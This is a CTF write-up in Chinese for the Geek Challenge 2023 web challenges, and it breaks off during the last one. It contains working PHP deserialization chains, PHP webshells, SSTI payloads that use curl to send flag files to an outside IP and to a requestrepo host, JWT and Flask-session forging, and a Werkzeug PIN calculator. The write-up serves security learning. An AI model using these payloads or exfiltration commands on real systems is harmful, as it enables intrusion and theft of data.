当前位置:   article > 正文

极客大挑战2023 Web方向题解wp 全_极客大挑战2023wp

极客大挑战2023wp

最后排名 9/2049

image-20231126203632363

玩脱了,以为28结束,囤的一些flag没交上去。我真该死啊QAQ

EzHttp

前言:这次极客平台太安全了谷歌不给抓包,抓包用burp自带浏览器。

image-20231026211250573

密码查看源码->robots.txt->o2takuXX’s_username_and_password.txt获得

image-20231026211341640

postman一把梭。

image-20231026211350513

唯一要注意的就是最后要求$_SERVER['HTTP_O2TAKUXX']=="GiveMeFlag"

** S E R V E R ∗ ∗ 超全局变量保存关于报头、路径和脚本位置的信息。 ‘ _SERVER** 超全局变量保存关于报头、路径和脚本位置的信息。` SERVER超全局变量保存关于报头、路径和脚本位置的信息。_SERVER[‘HTTP_O2TAKUXX’]就是http头中的参数O2TAKUXX`。

unsign

直接给了源码:

image-20231026212119200

简单php反序列化,链子是syc::__destruct()->lover::__invoke()->web::__get()

EXP:

<?php
highlight_file(__FILE__);
class syc
{
    public $cuit;
    public function __destruct()
    {
        echo("action!<br>");
        $function=$this->cuit;
        return $function();
    }
}

class lover
{
    public $yxx;
    public $QW;
    public function __invoke()
    {
        echo("invoke!<br>");
        return $this->yxx->QW;
    }

}

class web
{
    public $eva1;
    public $interesting;

    public function __get($var)
    {
        echo("get!<br>");
        $eva1=$this->eva1;
        $eva1($this->interesting);
    }
}

//syc::__destruct()->lover::__invoke()->web::__get()

$a=new syc();
$a->cuit=new lover();
$a->cuit->yxx=new web();
$a->cuit->yxx->eva1='system';
$a->cuit->yxx->interesting='tac /flag';

echo serialize($a);

?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49

image-20231026212854926

n00b_Upload

文件上传,简单测了一下只给传.php后缀????

同时木马<?= @eval($_POST[1]);?>可行,但是木马<script language='php'>@eval($_POST[1]);</script>不给传,二分法测试应该是整段过滤。。。。

image-20231026213047338

尝试访问uploadtest/391284_653a70260a272.php。getshell

image-20231026221747398

easy_php

都是一些php基础绕过,不再讲了,直接给payload:

GET:

?syc=welcome%20to%20GEEK%202023!&lover=1e9
  • 1
  • 2
  • 3
POST:

SYC[GEEK.2023=1&SYC[GEEK.2023=Happy to see you!&qw=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&yxx=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
  • 1
  • 2
  • 3

image-20231026222223568

ctf_curl

题目描述:命令执行?真的吗?

直接给了源码

image-20231026235402171

粗略一看,断绝了curl读取文件的可能。

但是不难发现,直接给出了flag路径,而且题目描述提示不用命令执行。

查找所有curl命令的使用,发现可以使用无回显RCE中的http 信道带出文件内容:

image-20231026235530918

payload:

?addr=xxxxxx.requestrepo.com -T /tmp/Syclover
  • 1

image-20231026235605338

可行!成功带出了flag文件/tmp/Syclover

image-20231026235618032

flag 保卫战

题目描述:管理员为了flag不被发现,一顿操作后,自己都不知道访问的密码了 QAQ

开题是一个登录界面

image-20231027000318869

0x01、信息搜集

未登录界面,源码里面有访客密码 和 验证密码获得flag的路由/flag,传参?pass

image-20231027115020018

登录后的界面/upload,源码中有不可见提示csrf token 10 秒失效(由此判断我们需要用自动化脚本),源码中还有前端js源码,暴露了所有路由。

image-20231027015154871

/file-list:列出当前已上传且未被删除的文件列表

/new-csrf-token:获取和设置新的 CSRF 令牌

image-20231027123613227

登录后随便传一个文件,后缀自动改成了.key

image-20231027000719405

初始jwt的密钥就是password用户的密码123456

image-20231027123901145

看看登录后的页面,管理员密码是一直在变的,由我们上传的临时文件内容决定。

image-20231027015208383


0x02、看所有包

重开环境。之前所有步骤都抓包看看包。

未登录的包(啥都没有)

image-20231027014903391

登录时候的包(啥都没有,账号密码json传参)

image-20231027023305489

登录后的包(只有jwt-token,不变的)

image-20231027015110782

上传文件时候的包

image-20231027015318194

访问路由/new-csrf-token获取动态csrf密钥的包(只有jwt-token,不变的)

image-20231027020802030

访问路由/flag验证身份的包(只有jwt-token,不变的)

image-20231027124140640


0x03、理清思路

1、可以肯定的是我们要在十秒内(csrf token有效期)上传四个及以上文件,手动上传不用考虑csrf token,因为js源码中上传时候会自动更新,就是担心30s内无法上传+验证。但是这个如果要通过自动化脚本实现很容易,同时我们可以传一次文件更新一次csrf token,确保脚本可以一直运行下去。

2、验证究竟是如何验证呢?题目源码给的提示是/flag?pass=123456,应该是在这个路由验证了而不是直接/login路由登录。

3、验证方式是什么?一开始我误以为传参?pass=四个文件内容就可以了,但是经过几小时失败,以及前文提到的jwt密钥就是password的密码123456,不难意识到jwt也是一重验证。

4、jwt如何改?前文提到的jwt密钥就是password的密码123456,虽然password的初始jwt+密码123456无法通过验证,但是我们验证admin身份还是需要?pass=四个文件内容=admin密码+用户admin,密钥admin密码1111的jwt。


0x04、自动化脚本撰写

这里有一个坑点,就是我们脚本中 获取csrf token、上传文件、读取文件列表时候附带的jwt密钥需要改改,密码还是123456,但是用户得是admin

这个也是试出来的,20:00开赛,脚本从11:00改到第二天凌晨。。。。。

具体为什么用户名要改成admin,个人暂时想法如下:

1、可行性:题目环境中jwt改了用户名没事,改了密钥就直接无效了。

2、必要性:也许用户只能读取以自己身份写入的文件,比如我password用户写入的文件,admin是无法读取的,所以对admin来说没有文件,就没有由四个文件构成的密码了。

查看脚本运行结果,验证上述必要性:

可以看到,文件确实是分用户的,JWT如果是admin用户,上传的文件名命名是admin-0xx.key,JWT如果是password用户,上传的文件名命名是password-0xx.key。(个人感觉这个是一个混淆点,一开始让我误以为文件名字意思是这个是密码文件,而不是password用户文件)

image-20231027125359005

最后脚本如下:

#Jay17
import json
import requests
import threading

#靶机地址
url = "https://rhk4wscflc7hgds1uoth4z1xd.node.game.sycsec.com"

session = requests.session()

# 往下两行的filename是表单字段名,抓包获得。
file = {
    'filename': ('1.txt', '1', 'text/plain')  # 请求头Content-Type字段对应的值,手动抓的包里面看
}

#password用户登录的jwt,自己修改成admin用户,jwt密钥还是123456不变
jwttoken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjk4MzgyNTUzfQ.iSuLQGSzXqS0OHnV6Md5i7v8pDuIVIYa1m22A6cfNP0'




# 写文件方法,不停的写,burp代理(proxies)可以看看请求包(极客不给抓包,其他比赛可以)
def write():
    while True:
        # 获取动态csrf密钥
        r = session.get(url=url + "/new-csrf-token",
                        cookies={'jwt-token': jwttoken})  # ,proxies={"http":"127.0.0.1:8080"})
        print(r.text)
        csrf = r.text
        # 上传文件
        data = {'yak-token': csrf}
        r = session.post(url=url + "/upload", data=data, files=file,
                         cookies={'jwt-token': jwttoken})  # ,proxies={"http":"127.0.0.1:8080"})
        print(r.text)


# 读文件列表、自动登录验证
def read():
    while True:
        # 读取文件
        r = session.get(url=url + "/file-list", cookies={'jwt-token': jwttoken})  # ,proxies={"http":"127.0.0.1:8080"})
        print(r.text)

        #登录验证
        #jwt是admin用户,jwt密钥是四个文件连起来内容1111
        r=session.get(url=url + "/flag?pass=1111", cookies={'jwt-token': 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjk4MzgyNTUzfQ.PoFcmmc6hUksjK_Rtu6U647GrCiO392DeE5CU51Wx_c'})
        print()
        print(r.status_code)
        # print(r.headers)
        # print(r.cookies['jwt-token'])
        # print(r.cookies)
        print(r.text)



# 双线程,不停写不停读和验证
threads = [threading.Thread(target=write), threading.Thread(target=read)]

for t in threads:
    t.start()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60

最后运行脚本得到flag

image-20231027124432903

klf_ssti

开题。

image-20231101105008273

经过一系列信息搜集(源码,扫后台),发现我们的SSTI入口应该是/hack?klf=xxx

image-20231101105316333

不知道是哪个语言的ssti,传入什么都返回klf别想,如{{7*7}}123。服务是由nginx支持的,盲猜Python的SSTI,先fuzz一波。

没有fuzz出过滤,但是可以发现,确实是存在SSTI,比如只传入{{时会500 Internal Server Error

image-20231101112644157

不过啥都无回显,不知道执行成功没有。。

/hack?klf={{config.__class__.__init__.__globals__['os'].popen('tac /f*').read()}}
  • 1

image-20231101113603306

先拿curl命令测一波,发现命令确实能执行成功!!!

/hack?klf={{config.__class__.__init__.__globals__['os'].popen('curl 120.46.41.173:9023').read()}}
  • 1

image-20231101113709965

http信道带出数据,md出题人藏flag…

/hack?klf={{config.__class__.__init__.__globals__['os'].popen('curl 120.46.41.173:9023/`ls /app/f*`').read()}}
  • 1

image-20231101115850435

/hack?klf={{config.__class__.__init__.__globals__['os'].popen('curl 120.46.41.173:9023/`tac /app/fl4gfl4gfl4g`').read()}}
  • 1

image-20231101115534038

image-20231101115547327

ez_remove

直接给了源码:

image-20231031142846099

<?php
highlight_file(__FILE__);
class syc{
    public $lover;
    public function __destruct()
    {
        eval($this->lover);
    }
}

if(isset($_GET['web'])){
    if(!preg_match('/lover/i',$_GET['web'])){
        $a=unserialize($_GET['web']);
        throw new Error("快来玩快来玩~");
    }
    else{
        echo("nonono");
    }
}
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20

我们只需要绕过对lover的正则匹配和抛出错误即可。

绕过方式为十六进制+GC回收。

十六进制:PHP反序列化 | Y4tacker’s Blog (gitee.io)

O:4:"test":2:{s:4:"xxxa";s:3:"abc";s:7:"asdfrew";s:3:"def";}
可以写成
O:4:"test":2:{S:4:"xxx\61";s:3:"abc";s:7:"asdfrew";s:3:"def";}
表示字符类型的s大写为S时,会被当成16进制解析。
  • 1
  • 2
  • 3
  • 4

GC回收可以看这篇:绕过__wakeup() 反序列化 合集_Jay 17的博客-CSDN博客

EXP:

<?php
class syc{
    public $lover;
    public function __destruct()
    {
        eval($this->lover);
    }
}
$a=new syc();
$a->lover="phpinfo();";

echo serialize($a);

?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

生成payload:

O:3:"syc":1:{s:5:"lover";s:10:"phpinfo();";}
  • 1

改成如下所示,利用十六进制和GC绕过限制。

O:3:"syc":1:{S:5:"lo\76er";s:10:"phpinfo();";
  • 1

image-20231101103218049

难崩的是,这里有disable fuction。不能直接执行命令了。

image-20231101103335997

那我们起手连蚁剑,接下来讲讲怎么连蚁剑。

先写个转接头:

GET:?web=O:3:"syc":1:{S:5:"lo\76er";s:18:"assert($_POST[1]);";

POST:1=要执行的代码
  • 1
  • 2
  • 3

image-20231101103609432

然后连蚁剑,测试发现爆红。

image-20231101103734410

解决办法是将https改成http。(https太安全了呜呜呜)编码器记得选base64

image-20231101103853810

蚁剑还是很好用的,总动列出了所有可用的函数,并且蚁剑会用这些函数自动进行相关文件操作,可视化的显示给我们。

image-20231101104528828

flag在根目录/f1ger文件中,但是直接打开不显示内容。

image-20231101104747708

蚁剑有自带绕过功能,如果直接查看flag文件没权限,可以试试在虚拟终端cat /flag。

image-20231031232447515

ez_path

开题。

image-20231104101112459

给了源码

image-20231104101124867

反编译之后是这样的:

import os, uuid
from flask import Flask, render_template, request, redirect

app = Flask(__name__)
ARTICLES_FOLDER = 'articles/'
articles = []


class Article:
    def __init__(self, article_id, title, content):
        self.article_id = article_id
        self.title = title
        self.content = content


def generate_article_id():
    return str(uuid.uuid4())


@app.route('/')
def index():
    return render_template('index.html', articles=articles)

@app.route('/upload', methods=['GET', 'POST'])
def upload():
    if request.method == 'POST':
        title = request.form['title']
        content = request.form['content']
        article_id = generate_article_id()
        article = Article(article_id, title, content)
        articles.append(article)
        save_article(article_id, title, content)
        return redirect('/')
    else:
        return render_template('upload.html')


@app.route('/article/<article_id>')
def article(article_id):
    for article in articles:
        if article.article_id == article_id:
            title = article.title
            sanitized_title = sanitize_filename(title)
            article_path = os.path.join(ARTICLES_FOLDER, sanitized_title)
            with open(article_path, 'r') as (file):
                content = file.read()
            return render_template('articles.html', title=sanitized_title, content=content, article_path=article_path)
        return render_template('error.html')  # 如果找不到对应的文章,则返回错误页面

def save_article(article_id, title, content):
    sanitized_title = sanitize_filename(title)
    article_path = ARTICLES_FOLDER + '/' + sanitized_title
    with open(article_path, 'w') as (file):
        file.write(content)




def sanitize_filename(filename):        #过滤函数,被过滤的字符都替换成下划线
    sensitive_chars = [
        ':',
        '*',
        '?',
        '"',
        '<',
        '>',
        '|',
        '.']
    for char in sensitive_chars:
        filename = filename.replace(char, '_')
    return filename


if __name__ == '__main__':
    app.run(debug=True)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75

继续信息搜集,查看源码发现flag应该在/f14444,同时有两个路由/home/upload

image-20231104101314360

博客存在python控制台,有读取文件计算PIN码进控制台执行命令的可能。(可行的方法,文件都能读,不做了)

image-20231104101827078

我们先计算PIN码来读取源文件,反编译的源码可能不全。

1.username
通过getpass.getuser()读取或者通过文件读取/etc/passwd

2.modname
通过getattr(mod,“file”,None)读取,默认值为flask.app

3.appname
通过getattr(app,“name”,type(app).name)读取,默认值为Flask

4.moddir
flask库下app.py的绝对路径、当前网络的mac地址的十进制数,通过getattr(mod,“file”,None)读取实际应用中通过报错读取,如传参的时候给个不存在的变量

5.uuidnode
mac地址的十进制,通过uuid.getnode()读取,通过文件/sys/class/net/eth0/address得到16进制结果,转化为10进制进行计算

6.machine_id
机器码,每一个机器都会有自已唯一的id,(Linux下)machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup(第一行的/docker/字符串后面的内容)
一般生成pin码不对就是这错了

依次读取文件:(虽然可以直接读取flag呜呜)

1.username :root

2.modname:flask.app

3.appname:Flask

4.moddir:/usr/local/lib/python3.9/site-packages/flask/app.py

5.uuidnode:253636626821197

6.machine_id:31e70710-1d09-4cda-bc57-a7a012a89ef7docker-8220349aefd48f822d7435a7eaac7697e4c8fdfaa6d1ee4660ce6ca65047fc2c.scope

计算PIN码脚本:

#sha1
import hashlib
from itertools import chain
probably_public_bits = [
    'root'# /etc/passwd
    'flask.app',# 默认值
    'Flask',# 默认值
    '/usr/local/lib/python3.9/site-packages/flask/app.py' # 报错得到
]

private_bits = [
    '253636626821197',#  /sys/class/net/eth0/address 16进制转10进制
    #machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup


    #'653dc458-4634-42b1-9a7a-b22a082e1fce55d22089f5fa429839d25dcea4675fb930c111da3bb774a6ab7349428589aefd'#  /proc/self/cgroup
    #'docker-8220349aefd48f822d7435a7eaac7697e4c8fdfaa6d1ee4660ce6ca65047fc2c.scope'  #  /proc/self/cgroup
    #'31e70710-1d09-4cda-bc57-a7a012a89ef7'  #/proc/sys/kernel/random/boot_id
    '31e70710-1d09-4cda-bc57-a7a012a89ef7docker-8220349aefd48f822d7435a7eaac7697e4c8fdfaa6d1ee4660ce6ca65047fc2c.scope'  #/proc/sys/kernel/random/boot_id+/proc/self/cgroup
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48

image-20231104111500599

笑。。。。执行不了一点,不知道为什么。

image-20231104113103425

PIN码可行,我们做别的方法Python 中的路径穿越

参考:警惕: Python 中的路径穿越_zzzzls~的博客-CSDN博客

# os.path.join
>>> os.path.join('/home/download', '../../opt/logo.png')
/home/download/../../opt/logo.png

# pathlib
>>> pathlib.Path('/home/download') / '../../opt/logo.png'
/home/download/../../opt/logo.png

【如果某个部分为绝对路径,则之前的所有部分都会被丢弃并从绝对路径开始继续拼接】

# os.path.join
>>> os.path.join('/home/download', '/opt/logo.png')
/opt/logo.png

# pathlib
>>> pathlib.Path('/home/download') / '/opt/logo.png'
/opt/logo.png
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

阅读源码,源码反编译有点不全,但是看有路径拼接,猜测/home路由也是路径拼接,用到了os.path.join()或者pathlib.Path()方法,所以造成了上述python路径穿越漏洞。

存的时候应该是articles/+什么什么。读的时候以为特性直接就读后半段绝对路径了,比如/etc/passwd

所以,根目录下flag文件直接读取就好啦:

image-20231104105534965

image-20231104105551271

image-20231104105557974

源码反编译有点问题,做完后去找出题人姐姐要了一下源码:

import os
import uuid
from flask import Flask, render_template, request, redirect
app = Flask(__name__)

ARTICLES_FOLDER = 'articles/'
articles = []

class Article:
    def __init__(self, article_id, title, content):
        self.article_id = article_id
        self.title = title
        self.content = content

def generate_article_id():
    return str(uuid.uuid4())

@app.route('/')
def index():
    return render_template('index.html', articles=articles)

@app.route('/home')
def home():
    return render_template('home.html', articles=articles)

@app.route('/upload', methods=['GET', 'POST'])
def upload():
    if request.method == 'POST':
        title = request.form['title']
        content = request.form['content']
        article_id = generate_article_id()
        article = Article(article_id, title, content)
        articles.append(article)
        save_article(article_id, title, content)
        return redirect('/home')
    else:
        return render_template('upload.html')

@app.route('/article/<article_id>')
def article(article_id):
    for article in articles:
        if article.article_id == article_id:
            title = article.title
            sanitized_title = sanitize_filename(title)
            article_path = os.path.join(ARTICLES_FOLDER, sanitized_title)
            with open(article_path, 'r') as file:
                content = file.read()
            return render_template('articles.html', title=sanitized_title, content=content, article_path=article_path)
    return render_template('error.html')  # 如果找不到对应的文章,则返回错误页面

def save_article(article_id, title, content):
    sanitized_title = sanitize_filename(title)
    article_path = ARTICLES_FOLDER + '/' + sanitized_title
    with open(article_path, 'w') as file:
        file.write(content)


def sanitize_filename(filename):
    # 替换敏感字符为下划线 _
    sensitive_chars = [':', '*', '?', '"', '<', '>', '|','.']
    for char in sensitive_chars:
        filename = filename.replace(char, '_')
    return filename

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0',port=5000)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66

os.path.join()方法,猜测成立!

image-20231104224906501

you konw flask?

二血拿下。

image-20231104183817313

开题,源码没东西。

image-20231104184102320

注册+登录试试,提示我们要成为教练。

image-20231104184136900

验证身份的方式是session。

eyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiJ7eyc3JyonNyd9fSIsInVzZXJfaWQiOjJ9.ZUOS4Q.vDzAPCyc9MEptQx5vBZLVvEnSDo
  • 1

image-20231104184201632

扫出robots.txt

image-20231104184222687

访问/3ysd8.html得到session密钥生成方式,

image-20231104184302185

两端不变,密钥中间三位爆破。

爆破session密钥脚本:

import itertools
import flask_unsign
from flask_unsign.helpers import wordlist
import requests as r
import time
import re
import sys

path = "wordlist.txt"

print("Generating wordlist... ")

with open(path,"w") as f:
    #permutations with repetition
    [f.write('wanbao'+"".join(x)+'=wanbao'+"\n") for x in itertools.product('0123456789abcdefghijklmnopqrstuvwxyzQWERTYUIOPLKJHGFDSAZXCVBNM', repeat=3)]   #加上前缀

#url = "http://47.115.201.35:8000/index"
#cookie_tamper = r.head(url).cookies.get_dict()['session']
cookie_tamper='eyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiIxMSIsInVzZXJfaWQiOjJ9.ZUOXIQ.PPWPtlyo0NR_mm1V_pdrQOLy240'
print("Got cookie: " + cookie_tamper)

print("Cracker Started...")

obj = flask_unsign.Cracker(value=cookie_tamper)

before = time.time()

with wordlist(path, parse_lines=False) as iterator:
            obj.crack(iterator)

secret = ""
if obj.secret:
    secret =obj.secret.decode()
    print(f"Found SECRET_KET {secret} in {time.time()-before} seconds")

signer = flask_unsign.sign({"time":time.time(),"authorized":True},secret=secret)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36

flask-unsign工具用法

解密session:flask-unsign --decode --cookie '获得的session'

爆破密钥:flask-unsign --unsign --cookie '获得的session'

加密session:flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

爆破指定字典:flask-unsign --unsign --cookie 'xxx --wordlist key.txt
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

flask-unsign工具解密session

flask-unsign --decode --cookie 'eyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiIxMSIsInVzZXJfaWQiOjJ9.ZUOXIQ.PPWPtlyo0NR_mm1V_pdrQOLy240'
  • 1

flask-unsign工具伪造session

flask-unsign --sign --cookie "{'is_admin': True, 'name': '11', 'user_id': 2}" --secret 'wanbaoNjI=wanbao'
  • 1

image-20231102203558933

获得伪造成admin后的session。

eyJpc19hZG1pbiI6dHJ1ZSwibmFtZSI6IjExIiwidXNlcl9pZCI6Mn0.ZUOXlA.-dQNWRyZdmqiw5XrR8P6IceeJDU
  • 1

用admin身份就直接得到flag。

image-20231102203548947

image-20231102203633765

Pupyy_rce

直接给了源码。

image-20231103003925609

<?php
highlight_file(__FILE__);
header('Content-Type: text/html; charset=utf-8');
error_reporting(0);
include(flag.php);
//当前目录下有好康的
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/blog/article/detail/51308
推荐阅读
相关标签